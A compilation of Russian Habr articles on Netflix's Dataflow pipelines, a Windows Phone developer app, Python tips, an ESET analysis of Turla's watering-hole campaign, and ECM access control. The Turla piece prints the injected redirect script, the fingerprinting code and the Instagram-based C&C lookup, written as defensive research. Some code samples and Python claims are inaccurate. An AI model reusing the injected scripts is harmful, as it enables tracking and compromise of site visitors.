Осознавая, что ландшафт данных и используемые конечными пользователями технологии не однородны, Dataflow выстраивает адаптивный путь. Эта платформа обеспечивает различные средства, или шаблоны, для извлечения данных, и в этом разделе мы познакомимся с несколькими из них. Первыми мы разберём SparkSQL и подход Python, а закончим случаями применения Scala и R.
Следующая команда поможет пользователю понять, как и с чего начинать после установки Dataflow:
```
$ dataflow sample workflow --help
Dataflow (0.6.16)
Usage: dataflow sample workflow [OPTIONS] RECIPE [TARGET_PATH]
Create a sample workflow based on selected RECIPE and land it in the
specified TARGET_PATH.
Currently supported workflow RECIPEs are: spark-sql, pyspark,
scala and sparklyr.
If TARGET_PATH:
- if not specified, current directory is assumed
- points to a directory, it will be used as the target location
Options:
--source-path TEXT Source path of the sample workflows.
--workflow-shortname TEXT Workflow short name.
--workflow-id TEXT Workflow ID.
--skip-info Skip the info about the workflow sample.
--help Show this message and exit.
```
Опять же, мы предположим, что у нас есть каталог *strange-data*, в котором пользователь создаёт шаблоны рабочих потоков на всех четырёх предлагаемых Dataflow языках. Чтобы лучше проиллюстрировать генерацию образцов потоков при помощи Dataflow, мы рассмотрим полноценную команду, используемую для создания одного из них:
```
$ cd stranger-data
$ dataflow sample workflow spark-sql ./sparksql-workflow
```
Повторяя эту команду для каждого типа языка преобразования, можно получить следующую структуру каталогов:
```
.
├── pyspark-workflow
│ ├── main.sch.yaml
│ ├── daily.sch.yaml
│ ├── backfill.sch.yaml
│ ├── ddl
│ │ └── ...
│ ├── src
│ │ └── ...
│ └── tox.ini
├── scala-workflow
│ ├── build.gradle
│ └── ...
├── sparklyR-workflow
│ └── ...
└── sparksql-workflow
└── ...
```
Ранее мы уже разобрали бизнес-логику этих образцов потоков и показали соответствующую SparkSQL-версию преобразования данных. Теперь мы разберём иные подходы к написанию данных на других языках.
### ▍ PySpark
Приведённый ниже частичный код PySpark имеет ту же функциональность, что и пример SparkSQL выше, но при этом задействует интерфейс датафреймов Python.
```
def main(args, spark):
source_table_df = spark.table(f"{some_db}.{source_table})
viewing_by_title_country = (
source_table_df.select("title_id", "country_code",
"view_hours")
.filter(col("date") == date)
.filter("title_id IS NOT NULL AND view_hours > 0")
.groupBy("title_id", "country_code")
.agg(F.sum("view_hours").alias("view_hours"))
)
window = Window.partitionBy(
"country_code"
).orderBy(col("view_hours").desc())
ranked_viewing_by_title_country = viewing_by_title_country.withColumn(
"title_rank", rank().over(window)
)
ranked_viewing_by_title_country.filter(
col("title_rank") <= 100
).withColumn(
"date", lit(int(date))
).select(
"title_id",
"country_code",
"title_rank",
"view_hours",
"date",
).repartition(1).write.byName().insertInto(
target_table, overwrite=True
)
```
### ▍ Scala
Scala является ещё одним поддерживаемым Dataflow способом, предлагающим ту же готовую бизнес-логику для образца потока.
```
package com.netflix.spark
object ExampleApp {
import spark.implicits._
def readSourceTable(sourceDb: String, dataDate: String): DataFrame =
spark
.table(s"$someDb.source_table")
.filter($"playback_start_date" === dataDate)
def viewingByTitleCountry(sourceTableDF: DataFrame): DataFrame = {
sourceTableDF
.select($"title_id", $"country_code", $"view_hours")
.filter($"title_id".isNotNull)
.filter($"view_hours" > 0)
.groupBy($"title_id", $"country_code")
.agg(F.sum($"view_hours").as("view_hours"))
}
def addTitleRank(viewingDF: DataFrame): DataFrame = {
viewingDF.withColumn(
"title_rank", F.rank().over(
Window.partitionBy($"country_code").orderBy($"view_hours".desc)
)
)
}
def writeViewing(viewingDF: DataFrame, targetTable: String, dataDate: String): Unit = {
viewingDF
.select($"title_id", $"country_code", $"title_rank", $"view_hours")
.filter($"title_rank" <= 100)
.repartition(1)
.withColumn("date", F.lit(dataDate.toInt))
.writeTo(targetTable)
.overwritePartitions()
}
def main():
sourceTableDF = readSourceTable("some_db", "source_table", 20200101)
viewingDf = viewingByTitleCountry(sourceTableDF)
titleRankedDf = addTitleRank(viewingDF)
writeViewing(titleRankedDf)
```
### ▍ R / sparklyR
Поскольку в Netflix неуклонно растёт число пользователей R, этот язык также входит в набор инструментов Dataflow:
```
suppressPackageStartupMessages({
library(sparklyr)
library(dplyr)
})
...
main <- function(args, spark) {
title_df <- tbl(spark, g("{some_db}.{source_table}"))
title_activity_by_country <- title_df |>
filter(title_date == date) |>
filter(!is.null(title_id) & event_count > 0) |>
select(title_id, country_code, event_type) |>
group_by(title_id, country_code) |>
summarize(event_count = sum(event_type, na.rm = TRUE))
ranked_title_activity_by_country <- title_activity_by_country |>
group_by(country_code) |>
mutate(title_rank = rank(desc(event_count)))
top_25_title_by_country <- ranked_title_activity_by_country |>
ungroup() |>
filter(title_rank <= 25) |>
mutate(date = as.integer(date)) |>
select(
title_id,
country_code,
title_rank,
event_count,
date
)
top_25_title_by_country |>
sdf_repartition(partitions = 1) |>
spark_insert_table(target_table, mode = "overwrite")
}
main(args = args, spark = spark)
}
```
Заключение
----------
Как видите, мы в Netflix стремимся облегчить жизнь дата-инженеров, предлагая уже протоптанные пути и рекомендации по структуризации кода и стараясь сохранять достаточно широкий выбор вариантов под разные задачи.
Использование грамотного набора предустановок при создании конвейера данных в Netflix упрощает онбординг, а также обеспечивает лучшие практики стандартизации и централизации. Немного скажем о них.
### ▍ Онбординг
Налаживание работы новой команды или вертикали бизнеса всегда требует определённых усилий, особенно в рамках [культуры](https://jobs.netflix.com/culture) «строгой согласованности и слабой связанности». Наличие хорошо задокументированной отправной точки — избавляет от ряда сложностей, возникающих при начале с нуля, и значительно ускоряет первую итерацию цикла разработки.
### ▍ Стандартизация
Стандартизация упрощает жизнь новым участникам команды, а также тем, кто уже знаком с областью и стеком используемых технологий.
Некоторая передача работы между людьми и командами неизбежна. В этом случае наличие схемы и шаблонов стандартизации устраняет возникающие в ходе такого обмена трения. Кроме того, с код-ревью и рекомендациями проще работать, отталкиваясь от общей основы.
Стандартизация также делает схему проекта более интуитивной и минимизирует риск человеческих ошибок по мере роста базы кода.
Централизация лучших практик
----------------------------
Инфраструктура данных непрерывно развивается. Удобство доступа к централизованному набору продуманных предустановок является критически важным моментом, обеспечивая развитие лучших практик параллельно с технологиями и предоставляя пользователям информацию о последних новшествах в технологическом стеке.
Что ещё лучше, Dataflow предлагает лучшие практики, которые представляют все эти концепции в контексте фактических случаев использования. Вместо чтения документации — вы можете инициализировать «реальный» проект, по необходимости его изменить и использовать в качестве отправной точки.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=generaciya_konvejerov_obrabotki_dannyx_v_dataflow) | https://habr.com/ru/post/707006/ | null | ru | null |
# WinPhone DevHub — мобильное приложение, которое должно быть под рукой у каждого WP7 разработчика
Практически все WP7 разработчики используют в своей работе сторонние библиотеки контролов. Вы, как разработчик, прошли через то, что бы скачивать примеры для конкретной библиотеки, компилировать и устанавливать это на свой телефон? А были ли моменты, когда вы искали подходящую иконку для ApplicationBar? Сколько времени потребовалось, что бы её найти? И, наверное, желали быть в курсе того, когда появляются новые иконки? А хотите, что бы это и кое-что другое было собрано в одном бесплатном приложении для Windows Phone? Если да, то добро пожаловать под кат, где вас ждёт описание приложения WinPhone DevHub и некоторые технические подробности его создания.
Я сам занимаюсь разработкой под Windows Phone и часто приходится ставить на телефон примеры контролов из разных библиотек. Это не только долго, ведь надо скачать библиотеку, скомпилировать её и запустить на телефоне, но и уменьшает число доступных слотов для девелоперских приложений (сейчас это число равно десяти). Такая потеря времени жутко меня расстраивала, ведь, например, у компании Telerik есть прекрасное [демо-приложение](http://www.windowsphone.com/s?appid=fd55f526-d6f7-df11-9264-00237de2db9e) в Marketplace, которое содержит примеры использования RadControls. Я обратился к разработчикам таких библиотек как [Silverlight Phone toolkit](http://silverlight.codeplex.com/), [Coding4Fun toolkit](http://coding4fun.codeplex.com/), [amCharts](http://www.amcharts.com/) и спросил, планируют ли они выпустить приложение с примерами для своих библиотек. Все разработчики ответили, что не видят в этом смысла. Тогда у меня в голове зародилась идея собрать примеры популярных библиотек вместе и выпустить это в виде приложения.
Размышляя над тем, что ещё полезного для разработчика можно добавить в приложение, я пришёл к выводу, что иконки для ApplicationBar очень востребованы, т.к. используются практически в каждой программе.
Таким образом, для первой версии приложения я решил реализовать поддержку примеров контролов нескольких сторонних библиотек и добавить несколько популярных наборов иконок.
Я выбрал следующие библиотеки контролов:
* [Silverlight Phone toolkit](http://silverlight.codeplex.com/);
* [Coding4Fun toolkit](http://coding4fun.codeplex.com/);
* [Phoney tools](http://phoney.codeplex.com/);
* [amCharts](http://www.amcharts.com/) controls;
* [Your Last About Dialog](http://ylad.codeplex.com)
При выборе какой-либо библиотеки, происходит загрузка соответствующей демки.
 
Вероятно, имеет смысл добавить и другие библиотеки контролов, но для первой версии представленного набора достаточно.
Среди наборов иконок я выбрал три:
* [Windows Phone SDK](http://go.microsoft.com/?linkid=9772716);
* [Pedro Lamas pack](http://www.pedrolamas.com/windows-phone/windows-phone-application-bar-icons-en/);
* [Templarian pack](http://templarian.com/project_windows_phone_icons/);
 
Так как разработка ведётся на настольной машине, а примеры открыты на телефоне, то очень важной фичей, которая реализована в приложении, является возможность получить подробную информацию (включая ссылку для скачивания) о понравившемся наборе инструментов, представленном в программе. Для этого следует вызвать контекстное меню для соответствующего набора на главной странице приложения и отослать самому себе письмо с детальной информацией.
Приложение позволяет пользователям отправить предложение по улучшению приложения используя сервис Uservoice (смотрите закладку **About** или раздел **Your last About Dialog**).
##### Некоторые технические моменты
Все демо-приложения взяты в виде проектов из соответствующих библиотек и включены в солюшен приложения. Солюшен имеет главное приложение, которое отображает ссылки для перехода к соответствующему приложению библиотеки контролов.
Изначально, приложение писалось без соблюдения MVVM паттерна: главная цель — взял демо-приложения, включил эти проекты в свой солюшен, вывел ссылки на главные страницы каждого демо-приложения и всё, можно наслаждаться! Как показала практика, такой подход позволяет сделать одноразовое приложение, т.к. расширять его практически невозможно, код выглядит как классический спагетти-код, реализация мало-мальски сложной автоматизации очень затруднена и т.д. В настоящий момент приложение переписывается с использованием MVVM.
Естественно, в начале на главном экране я расположил кнопки с жёстко заданными путями к жёстко прописанным демо-приложениям. Приходилось всё прописывать руками, что было нудно и не удобно. В конце-концов лень победила и я создал xml файл, в который вынес все значимые параметры для каждой библиотеки, как имя приложения, путь к иконке, путь к главному файлу приложения и пр. Это позволило реализовать алгоритм, который зачитывает xml файл и формирует источник данных для ListBox. Если мне придёт (а мне это точно придёт!) в голову идея добавить новый демо-проект, то я просто обновлю xml файл, добавлю этот проект в солюшен и всё!
```
1
Coding4Fun Phone Toolkit
/Coding4Fun;component/MainPage.xaml
Coding4Fun
Images/Coding4FunLogo.png
#FFF09609
http://coding4fun.codeplex.com/
2
Silverlight Phone Toolkit
/SilverlightToolkit;component/MainPage.xaml
Microsoft
Images/SilverlightToolkitLogo.png
#FF1BA1E2
http://silverlight.codeplex.com/
....
```
C иконками история похожая, но лень победила меня гораздо быстрее, ведь количество иконок много больше (более 700 на настоящий момент), а я стремился достичь следующий уровень автоматизации своей работы: при обновлении какого-либо набора иконок, я должен буду только распаковать иконки в соответствующую папку проекта, в VisualStudio увидеть какие новые файлы появились и добавить их в проект. Компиляция, запуск приложения и открытие соответствующего набора иконок — вот всё, что надо сделать, что бы увидеть новые иконки на экране. Таким образом, я создал схожий xml файл, где указал путь к папке, где хранятся иконки библиотеки, автора, описание и пр. Зачитывание данных из xml файла происходит с использованием технологии Linq-To-Xml.
```
3
Templarian Pack
1
/Icons/Templarian/
This is a project started a few months ago to supply creative commons licensed icons to Windows Phone developers.
If you found these useful feel free to buy me a beer with the donate button in the footer.
Austin Andrews
#FF00ABA9
Images/PanoramaBackground4.jpg
http://templarian.com/project\_windows\_phone\_icons/
....
```
Тут меня поджидал не очень приятный сюрприз, т.к. я не могу получить список ресурсов, которые хранятся у меня в проекте по заданному пути. Единственный вариант — пометить такие ресурсы как `Embedded Resource`, а потом фильтровать нужные иконки. С другой стороны, иконки, помеченные как `Embedded Resource`, не могут участвовать в связывании (Data binding), что заставляет писать дополнительный код. Решение пришло внезапно — я же могу генерировать любые файлы на основе метаданных текущего проекта (файлы, папки, их расположение и пр.) с использованием такого инструмента как [T4](http://en.wikipedia.org/wiki/Text_Template_Transformation_Toolkit), который встроен в VisualStudio. Несколько строк кода и у меня есть ещё один xml файл, который содержит пути всех иконок, которые я буду отображать. Изменив атрибут иконок с `Embedded Resource` на `Content`, я смогу их использовать в процессе связывания, что улучшит производительность и упростит код. Решение с генерацией кода будет использоваться в следующем релизе приложения.
Следует отметить, что подход с использованием xml файлов в качестве источника данных для построения элементов на пользовательском интерфейсе используется и в библиотеке **Your Last About Dialog**. Следует только задать исходные данные (имена, описание, адреса и пр.), а система сама построит пользовательский интерфейс по всем правилам Metro приложений.
В этом приложении я решил попробовать готовые решения для аналитики и отслеживания ошибок.
Аналитическую информацию я решил получать через сервис [Flurry](http://flurry.com). Этот сервис предоставляет библиотеку для Windows Phone, подключение очень простое — одна строка в файле `App.xaml.cs`, отправка конкретного события — ещё одна строка. Главное, продумать какие события тебе будет полезно получать и какие параметры события должны указываться. В WPDevHub я отслеживаю, какие библиотеки контролов и иконок пользователи посещают, а также описание каких библиотек пользователи отсылают себе по почте.
Для отслеживание ошибок я использую сервис [bugsense](http://www.bugsense.com) (он уже [упоминался](http://habrahabr.ru/company/Nokia/blog/140089/) на хабре в статье про создание приложения Кинопоиск). Этот сервис также подключается добавлением одной строки в файл `App.xaml.cs`. Сервис очень удобный и исключительно полезный, несмотря на те ограничения, которые заложены в бесплатной версии аккаунта. Бесплатный аккаунт позволяет хранить ошибки на сервере в течении 7 дней (уведомление по почте о новых ошибках приходит исправно), получать не более 500 ошибок в месяц. Сервис предоставляет подробную информацию о самой ошибке, включая stacktrace, детали телефона, версию ОС, страну, тип подключения к сети, частоту возникновения ошибки и пр. Очень удобной функциональностью является возможность пометить ошибку как исправленную, если ошибка уже устранена в коде и не следует более отправлять почтовые уведомления о ней. Но все случаи возникновения самой ошибки, конечно, будет учитываться при построении отчётов системой.
Следует отметить, что подавляющее большинство ошибок было выявлено в демо-проектах. Это и понятно, ведь эти проекты не тестировались с той тщательностью, которая требуется при прохождении этапа сертификации в Marketplace. Bugsense сработал очень удачно и у меня появился десяток багов в демо-приложениях, которые следует исправить в следующем релизе.
Bugsense предоставляет возможность воспользоваться премиальным планом проектам с открытым исходным кодом (для обычных проектов стоимость такого плана составляет ~300 USD в месяц). Я не премину воспользоваться таким предложением и в ближайшее время опубликую проект под открытой лицензией.
В качестве механизма монетизации я выбрал отображение рекламы. Я использую [Microsoft PubCenter](http://pubcenter.microsoft.com) как рекламного провайдера, который имеет одни из самых высоких расценок за показ рекламы. К сожалению (к моему сожалению :P) `AdControl` скрывается и не показывает рекламу, если у пользователя региональные настройки соответствуют тем странам, в которые не поддерживаются этим рекламным провайдерам. Например, Беларусь и Россия не поддерживаются. В одной из следующих версий я планирую перейти на [Windows Phone 7 Ad Rotator](http://wp7adrotator.codeplex.com), который позволяет использовать сразу несколько рекламных провайдеров и, тем самым, максимизировать доход.
В следующих релизах я планирую переделать дизайн главной страницы, что бы можно было добавлять новые сущности и новые возможности. Например, я хочу добавить несколько cheatsheets (такие как design guidlines, certification, checklist при публикации приложения и пр.), которые будут полезны разработчикам, добавить новые библиотеки контролов и иконок и кое-что другое.
Надеюсь, что WinPhone DevHub станет настольным (наладонным?) приложением для всех разработчиков под Windows Phone, а я смогу удовлетворить все желания по улучшению приложения. Если у вас есть идеи, что ещё можно добавить в приложение, то дате мне знать любым способом.
Если вы скачаете приложение, не поленитесь выставить ему оценку в Marketplace (с закладки About или из Your Last About Dialog).
[Ссылка](http://windowsphone.com/s?appid=35571846-14bc-4db2-bc58-2d592763da12) на приложение в Marketplace.
[Ссылка](http://wpdevhub.uservoice.com/) для пользовательских советов и идей.
[Почта](mailto:WPDevHub@hotmail.com?Subject=[WPDevHub]%20Application%20question) для обратной связи.
[Сайт-визитка](http://www.maxpaulousky.com/wpdevhub/). | https://habr.com/ru/post/142204/ | null | ru | null |
# 5 лайфхаков Python, которые сделают ваш код более читабельным и элегантным
Привет, Хабр! В этой статье я продемонстрирую 5 трюков Python на понятных для новичков примерах, которые помогут вам писать более элегантный Python код в вашей повседневной работе.
### 1. Избегайте вложенных циклов с помощью product
Когда программа становится сложной, неизбежно приходится писать вложенные циклы. Однако вложенные циклы делают программы более сложными для чтения и сопровождения.
К счастью, в Python всегда можно избежать вложенных циклов с помощью встроенной функции `product()`.
Например, у нас есть следующая программа, которая содержит трехуровневые вложенные циклы `for`:
```
list_a = [1, 2020, 70]
list_b = [2, 4, 7, 2000]
list_c = [3, 70, 7]
for a in list_a:
for b in list_b:
for c in list_c:
if a + b + c == 2077:
print(a, b, c)
# 70 2000 7
```
Чтобы сделать код более аккуратным и чистым, мы можем использовать функцию `product()`, которая находится в модуле `itertools`, для оптимизации кода:
```
from itertools import product
list_a = [1, 2020, 70]
list_b = [2, 4, 7, 2000]
list_c = [3, 70, 7]
for a, b, c in product(list_a, list_b, list_c):
if a + b + c == 2077:
print(a, b, c)
# 70 2000 7
```
2. Оператор морж (:=) или способ записывать данные в переменную о котором вы не знали
-------------------------------------------------------------------------------------
Начиная с Python 3.8, появился новый синтаксис под названием «оператор морж» или walrus operator, который может присваивать значения переменным как часть более крупного выражения.
Оператор := получил свое милое название из-за глаз и бивней моржа.
Этот синтаксис очень прост для понимания. Например, если мы хотим написать следующие две строки кода Python в одной строке, как это сделать?
```
author = "Yang"
print(author)
# Yang
```
К сожалению, мы не можем напрямую поместить присвоение в функцию print(). Если мы попытаемся это сделать, возникнет ошибка типа TypeError. Но если мы используем оператор :=, то все получится!
```
print(author:="Yang")
# Yang
```
3. Самый легкий способ мерджить словари
---------------------------------------
Слияние словарей - частое действие в программировании на Python. Существует множество способов сделать это. Но все они были уродливы до версии Python 3.9.
Начиная с Python 3.9, мы наконец-то получили самый элегантный способ объединения словарей - использование операторов объединения.
```
cities_us = {'New York City': 'US', 'Los Angeles': 'US'}
cities_uk = {'London': 'UK', 'Birmingham': 'UK'}
cities = cities_us|cities_uk
print(cities)
# {'New York City': 'US', 'Los Angeles': 'US', 'London': 'UK', 'Birmingham': 'UK'}
```
Как показано в примере выше, мы можем просто использовать оператор | для слияния двух разных словарей. Более того, он также поддерживает объединение in-place:
```
cities_us = {'New York City': 'US', 'Los Angeles': 'US'}
cities_uk = {'London': 'UK', 'Birmingham': 'UK'}
cities_us |= cities_uk
print(cities_us)
# {'New York City': 'US', 'Los Angeles': 'US', 'London': 'UK', 'Birmingham': 'UK'}
```
4. Используем \* для мерджа списка, кортежа и множества в одну строчку
----------------------------------------------------------------------
Для того, чтобы это сделать самый элегантный способ - использование \*:
```
A = [1, 2, 3]
B = (4, 5, 6)
C = {7, 8, 9}
L = [*A, *B, *C]
print(L)
# [1, 2, 3, 4, 5, 6, 8, 9, 7]
```
Звездочки можно использовать в качестве префиксов для распаковки их элементов. Но помимо распаковки, звездочки также можно использовать для деструктуризации присваиваний в Python:
```
a, *mid, b = [1, 2, 3, 4, 5, 6]
print(a, mid, b)
# 1 [2, 3, 4, 5] 6
```
Как показано выше, с помощью одной звездочки переменная mid получает элементы в середине в виде списка.
5. Используем встроенные функции в Python для написания стандартной логики
--------------------------------------------------------------------------
В Python есть несколько встроенных функций, которые помогают при написании некоторых стандартных логических операций.
Например, функция `map()` - известная и часто используемая функция. Она получает два параметра, один из которых - функция, а другой - итератор. При выполнении функции `map` функция применяется к каждому элементу в итераторе.
```
names = ['yAnG', 'MASk', 'thoMas', 'LISA']
names = map(str.capitalize, names)
print(list(names))
# ['Yang', 'Mask', 'Thomas', 'Lisa']
```
Как показано в примере выше, с помощью функции map() мы можем избежать написания цикла for для выделения заглавными буквами каждого слова в списке имен.
Другая известная функция - reduce(). Как следует из ее названия, она применяет функцию к итератору и выполняет для нее операцию reduce.
Например, в следующем примере список преобразуется в одну строку:
```
from functools import reduce
city = ['L', 'o', 'n', 'd', 'o', 'n', 2, 0, 2, 0]
city_to_str = reduce(lambda x, y: str(x) + str(y), city)
print(city_to_str)
# London2020
```
Спасибо за прочтение? Какой из хаков вы считаете самым полезным? Пишите в комментариях!
Еще больше примеров использования Python и Machine Learning в современных сервисах можно посмотреть в [**моем телеграм канале**](https://t.me/dat2art). Я пишу про разработку, ML, стартапы и релокацию в UK для IT специалистов. | https://habr.com/ru/post/714820/ | null | ru | null |
# Киберкампания watering hole от Turla: обновленное расширение для Firefox использует Instagram
Некоторые схемы АРТ-атак не меняются годами. Например, атаки watering hole в исполнении кибергруппы Turla. Эта группировка специализируется на кибершпионаже, ее основные цели – правительственные и дипломатические учреждения. Схему watering hole хакеры используют для перенаправления потенциальных жертв на свою C&C-инфраструктуру как минимум с 2014 года, иногда внося небольшие изменения в принцип работы.
Мы в ESET следим за кампаниями Turla и недавно обнаружили, что хакеры вернулись к использованию метода, заброшенного на несколько месяцев.
### Начальные этапы компрометации
Ниже в разделе с индикаторами заражения есть список сайтов, которые Turla использовали в атаках watering hole в прошлом. Что [характерно](https://blogs.forcepoint.com/security-labs/curious-case-reconnaissance-campaign-targeting-ministry-and-embassy-sites) для этой группировки, в списке много сайтов, связанных с посольствами разных стран.
Переадресация осуществляется благодаря фрагменту кода, который хакеры добавляют к оригинальной странице. Скрипты, которые мы обнаружили за последние несколько месяцев, выглядят следующим образом:
```
// <![CDATA[
var clicky\_site\_ids = clicky\_site\_ids || [];
clicky\_site\_ids.push(100673048);
(function() {
var s = document.createElement('script');
var a = 'http://www.mentalhealthcheck.net/';
var b = 'update/counter.js';
s.type = 'text/javascript'; s.async = true;
s.src = '//static.getclicky.com/js'; s.src = a.concat(b);
( document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(s);
})();
// ]]>
```
Примечательно, что хакеры добавили ссылку на Clicky – приложение для веб-аналитики. Вероятно, таким образом они создают видимость легитимности скрипта для неспециалиста, хотя само приложение в атаке не используется.
Добавленный скрипт вызывает другой скрипт по адресу `mentalhealthcheck.net/update/counter.js`. Этот сервер хакеры Turla используют для отправки жертвам скриптов цифровых отпечатков, которые собирают информацию о системе, в которой запущены. Похожим образом использовалась ссылка на скрипт Google Analytics, но в последнее время мы чаще видим Clicky. В разделе с индикаторами заражения вы найдете список C&C-серверов, которые мы обнаружили в последние месяцы. Это первоначально легитимные серверы, которые были заражены.
Следующий этап – доставка цифровых отпечатков JavaScript потенциальным жертвам. Для этого C&C-сервер фильтрует посетителей по IP-адресам. Если посетитель входит в диапазон целевых IP-адресов, он получит скрипт цифровых отпечатков, если нет – безвредный скрипт. Ниже выдержка из скрипта, который получают целевые пользователи:
```
function cb_custom() {
loadScript("http://www.mentalhealthcheck.net/script/pde.js", cb_custom1);
}
function cb_custom1() {
PluginDetect.getVersion('.');
myResults['Java']=PluginDetect.getVersion('Java');
myResults['Flash']=PluginDetect.getVersion('Flash');
myResults['Shockwave']=PluginDetect.getVersion('Shockwave');
myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');
var ec = new evercookie();
ec.get('thread', getCookie)
```
Скрипт скачивает JS библиотеку под названием `PluginDetect`, которая может собирать информацию о плагинах, установленных в браузере. Затем собранная информация пересылается на C&C-сервер.
Кроме того, скрипт пытается установить evercookie, которые будут отслеживать активность пользователя в браузере по всем сайтам.
Для тех, кто знаком с watering hole атаками Turla, очевидно, что хакеры продолжают использовать проверенные методы.
### Расширение для Firefox
Вероятно, некоторые помнят [отчет Pacifier APT](http://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf), описывающий целевую фишинговую атаку при помощи вредоносного документа Word, который рассылался в учреждения по всему миру. Далее в систему загружался бэкдор, и сейчас мы знаем, что речь о Skipper, бэкдоре первого этапа группы Turla.
В отчете также описывается расширение для Firefox, загружаемое тем же типом вредоносного документа. И, похоже, мы обнаружили новую версию этого расширения. Это JavaScript бэкдор, отличающийся по реализации от того, что описан в отчете Pacifier APT, но со схожим функционалом.
Вредоносное расширение HTML5 Encoding распространялось через скомпрометированный сайт швейцарской компании. Это простой бэкдор, который, тем не менее, отличается интересным способом обращения к C&C-серверу.
### Использование Instagram
HTML5 Encoding использует для доступа к C&C-серверу короткий URL bit.ly, но адрес URL в его коде отсутствует. Расширение получает адрес из комментариев к определенным постам в Instagram. В нашем примере это был комментарий к фото Бритни Спирс в официальном аккаунте.
[www.instagram.com/p/BO8gU41A45g](https://www.instagram.com/p/BO8gU41A45g/)
Расширение изучает каждый комментарий к фотографии и вычисляет индивидуальное значение хеша. Если значение совпадет с числом 183, расширение исполнит регулярное выражение с целью получения адреса URL bit.ly:
`(?:\\u200d(?:#|@)(\\w)`
В комментариях к фото был только один с хеш-суммой 183 – от 6 февраля, в то время как фото было выложено в начале января. Взяв комментарий и пропустив его через regex, получаем следующую ссылку bit.ly: [bit.ly/2kdhuHX](http://bit.ly/2kdhuHX)
При детальном изучении регулярного выражения мы видим, что оно ищет либо `@|#`, либо юникод-символ `\200d` – невидимый символ Zero Width Joiner, джойнер нулевой ширины, который обычно используют для разделения эмодзи. Скопировав комментарий или изучив его источник, можно увидеть Zero Width Joiner перед каждым символом адресной строки:
`smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X`
При переходе по короткой ссылке мы попадаем на `static.travelclothes.org/dolR_1ert.php`. Этот адрес использовался в прошлых атаках watering hole группы Turla.
Для ссылки bit.ly можно получить статистику переходов:
В феврале зафиксировано всего 17 переходов, которые примерно совпадают по времени с публикацией комментария. Незначительное количество переходов может указывать на тестовый характер атак.
### Технический анализ
Расширение для Firefox выполняет функции простого бэкдора. Оно собирает информацию о системе и передает эти данные, зашифрованные при помощи AES, на C&C-сервер. Похоже на описание расширения, о котором говорится в отчете по Pacifier APT.
Бэкдор-компонент может запускать четыре разных типа команд:
* Исполнить произвольный файл
* Загрузить файл на сервер C&C
* Скачать файл с сервера C&C
* Прочитать содержимое директории – переслать список файлов с размерами и датами на сервер C&C
По нашим оценкам, атаки пока проводятся в тестовом режиме. Следующая версия расширения, если она когда-либо появится, будет значительно отличаться от нынешней. Есть несколько API, используемых расширением, которые исчезнут в будущих версиях Firefox. Их можно использовать только в виде дополнений, потому что их место начиная с версии Firefox 57 займут WebExtensions. Начиная с этой версии и выше Firefox больше не будет загружать дополнения, что исключает использование этих API.
### Вывод
Факт использования социальных сетей для получения адреса C&C-сервера довольно примечателен. Помимо Turla, такой подход применяют и другие группировки, включая [Dukes](https://habrahabr.ru/company/eset/blog/223995/).
Использование социальных сетей – дополнительная сложность для построения защиты. Во-первых, трафик от соцсетей, связанный с деятельностью злоумышленников, сложно отличить от легитимного. Во-вторых, метод обеспечивает хакерам большую гибкость – можно легко менять адреса C&C-серверов и удалять их следы.
Интересно наблюдать, как хакеры Turla снова применяют старый метод использования цифровых отпечатков, а также ищут новые способы усложнить обнаружение C&C-серверов.
*Задать дополнительные вопросы исследователям или передать образцы вредоносного ПО, связанные с деятельностью группы Turla, можно по электронной почте threatintel@eset.com.
Благодарим Clement Lecigne из группы Google’s Threat Analysis Group за помощь в исследовании.*
### Индикаторы заражения (IoCs)
Хеш расширения для Firefox:
`html5.xpi 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi 8e6c9e4582d18dd75162bcbc63e933db344c5680`
Cкомпрометированные сайты, перенаправляющие на серверы цифровых отпечатков (на момент написания отчета были либо легитимны, либо вели на нерабочие серверы):
`hxxp://www.namibianembassyusa.org
hxxp://www.avsa.org
hxxp://www.zambiaembassy.org
hxxp://russianembassy.org
hxxp://au.int
hxxp://mfa.gov.kg
hxxp://mfa.uz
hxxp://www.adesyd.es
hxxp://www.bewusstkaufen.at
hxxp://www.cifga.es
hxxp://www.jse.org
hxxp://www.embassyofindonesia.org
hxxp://www.mischendorf.at
hxxp://www.vfreiheitliche.at
hxxp://www.xeneticafontao.com
hxxp://iraqiembassy.us
hxxp://sai.gov.ua
hxxp://www.mfa.gov.md
hxxp://mkk.gov.kg`
Скомпрометированные сайты, используемые в качестве C&C-серверов первого этапа в кампании watering hole:
`hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
hxxp://www.mentalhealthcheck.net/script/pde.js
hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
hxxp://rss.nbcpost.com/news/today/content.php
hxxp://static.travelclothes.org/main.js
hxxp://msgcollection.com/templates/nivoslider/loading.php
hxxp://versal.media/?atis=509
hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
hxxp://alessandrosl.com/core/modules/mailer/mailer.php` | https://habr.com/ru/post/330446/ | null | ru | null |
# Проблемы разграничения доступа на основе списка доступа в ECM системах
В этой статье речь пойдёт о самом ~~скучном~~ интересном в ИТ – об архитектуре ПО, а именно, об одной из самых важных её частей – security.
#### Определимся с терминами
Под ПО я буду понимать в первую очередь ECM системы, и будем мы рассматривать security только в части разграничения доступа к объектам предметной области.
#### Немного о ECM
**Из википедии**
Управление корпоративным контентом (англ. Enterprise content management, ECM) — управление цифровыми документами и другими типами контента, а также их хранение, обработка и доставка в рамках организации [1]
MS SharePoint, Alfresco – это всё ECM системы. Чтобы не рассматривать некие сферические ECM в вакууме с одной стороны, и в то же время не ограничивать статью каким-то существующим решением – придумаем свою простую ECM систему.
#### Немного о предметной области
Итак, пусть наша ECM система будет трудится на ниве обеспечения документооборота какой-то организации. Принес девочке-секретарше курьер письмецо от налоговой, а она раз его – и в систему, чтобы бухгалтер посмотрел и сгенерировал ответ (конечно – же тоже через систему).
